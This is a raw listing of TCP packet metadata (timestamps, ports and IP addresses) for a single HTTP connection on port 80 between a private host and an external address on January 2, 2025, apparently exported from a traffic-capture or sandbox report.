Jan 2, 2025 20:20:04.636348009 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.636353970 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.636364937 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.636373043 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.636393070 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.636404037 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.636418104 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.636437893 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.636439085 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.636439085 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.636452913 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.636465073 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.636471033 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.636478901 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.636499882 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.636512995 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.636521101 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.636521101 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.636526108 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.636547089 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.636558056 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.636569977 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.636583090 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.636584997 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.636595964 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.636610031 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.636621952 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.636631966 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.636631966 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.636641026 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.636652946 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.636657953 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.636671066 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.636673927 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.636691093 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.636703968 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.636715889 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.636715889 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.636729956 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.636732101 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.636744976 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.636756897 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.636768103 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.636770010 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.636791945 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.636806011 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.636806965 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.636817932 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.636823893 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.636850119 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.636850119 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.636873960 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.636887074 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.636895895 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.636899948 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.636912107 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.636924028 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.636925936 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.636935949 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.636954069 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.636957884 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.636961937 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.636972904 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.636991978 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.636993885 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.637006998 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.637020111 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.637039900 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.637048006 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.637048006 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.637053967 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.637067080 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.637075901 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.637079954 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.637094975 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.637108088 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.637124062 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.637124062 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.637128115 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.637154102 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.637155056 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.637176037 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.637197018 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.637202978 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.637211084 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.637223005 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.637223005 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.637224913 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.637233973 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.637238979 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.637252092 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.637264013 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.637265921 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.637280941 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.637291908 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.637303114 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.637314081 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.637317896 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.637330055 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.637331963 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.637350082 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.637351036 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.637370110 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.637382030 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.637384892 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.637398005 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.637409925 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.637420893 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.637420893 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.637434959 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.637447119 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.637450933 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.637461901 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.637463093 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.637475967 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.637490034 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.637496948 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.637496948 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.637501955 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.637516975 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.637528896 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.637540102 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.637554884 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.637620926 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.745174885 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.745189905 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.745203018 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.745215893 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.745228052 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.745239973 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.745245934 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.745251894 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.745299101 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.745340109 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.763847113 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.763858080 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.763880014 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.763891935 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.763901949 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.763906002 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.763920069 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.763927937 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.763950109 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.763966084 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.763969898 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.763983011 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.763993025 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.763995886 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.764008045 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.764019012 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.764039040 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.764039040 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.764055967 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.764075041 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.764077902 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.764091969 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.764112949 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.764123917 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.764132977 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.764132977 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.764133930 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.764148951 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.764162064 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.764168978 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.764173985 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.764179945 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.764185905 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.764192104 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.764198065 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.764214993 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.764214993 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.764245987 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.764250040 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.764261007 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.764271975 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.764282942 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.764306068 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.764317036 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.764328003 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.764332056 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.764332056 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.764341116 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.764360905 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.764364958 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.764378071 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.764383078 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.764394999 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.764416933 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.764427900 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.764432907 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.764432907 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.764441013 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.764452934 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.764470100 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.764473915 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.764488935 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.764488935 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.764509916 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.764522076 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.764533997 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.764544010 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.764544010 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.764553070 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.764565945 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.764589071 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.764604092 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.764619112 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.764626026 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.764643908 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.764655113 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.764664888 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.764672995 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.764686108 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.764698029 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.764699936 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.764712095 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.764723063 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.764724970 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.764735937 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.764749050 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.764755011 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.764761925 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.764774084 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.764794111 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.764796972 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.764806032 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.764813900 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.764818907 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.764825106 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.764832973 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.764832973 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.764842033 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.764854908 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.764866114 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.764878988 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.764889956 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.764900923 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.764909029 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.764914036 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.764925003 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.764928102 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.764939070 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.764959097 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.764971972 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.764977932 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.764977932 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.764983892 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.764997959 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.765010118 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.765010118 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.765027046 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.765031099 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.765043020 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.765053988 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.765065908 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.765077114 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.765077114 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.765079021 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.765091896 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.765111923 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.765129089 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.765130043 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.765129089 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.765141964 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.765152931 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.765152931 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.765172958 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.765181065 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.765186071 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.765197992 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.765209913 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.765224934 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.765224934 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.765228987 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.765243053 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.765245914 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.765256882 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.765269041 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.765281916 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.765286922 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.765286922 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.765295029 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.765307903 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.765320063 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.765336037 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.765346050 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.765346050 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.765348911 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.765396118 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.765408993 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.765414000 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.765422106 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.765435934 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.765444994 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.765449047 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.765463114 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.765463114 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.765475035 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.765512943 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.765512943 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.765552044 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.765561104 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.765568018 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.765578985 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.765590906 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.765603065 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.765614033 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.765618086 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.765618086 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.765652895 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.765664101 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.869460106 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.869473934 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.869481087 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.869491100 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.869498014 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.869503975 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.869509935 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.869514942 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.869538069 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.869589090 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.884134054 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.884197950 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.884211063 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.884213924 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.884232998 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.884251118 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.884264946 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.884269953 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.884269953 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.884278059 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.884300947 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.884303093 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.884315968 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.884336948 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.884347916 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.884356976 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.884356976 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.884358883 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.884383917 CET	80	49704	47.254.187.72	192.168.2.8
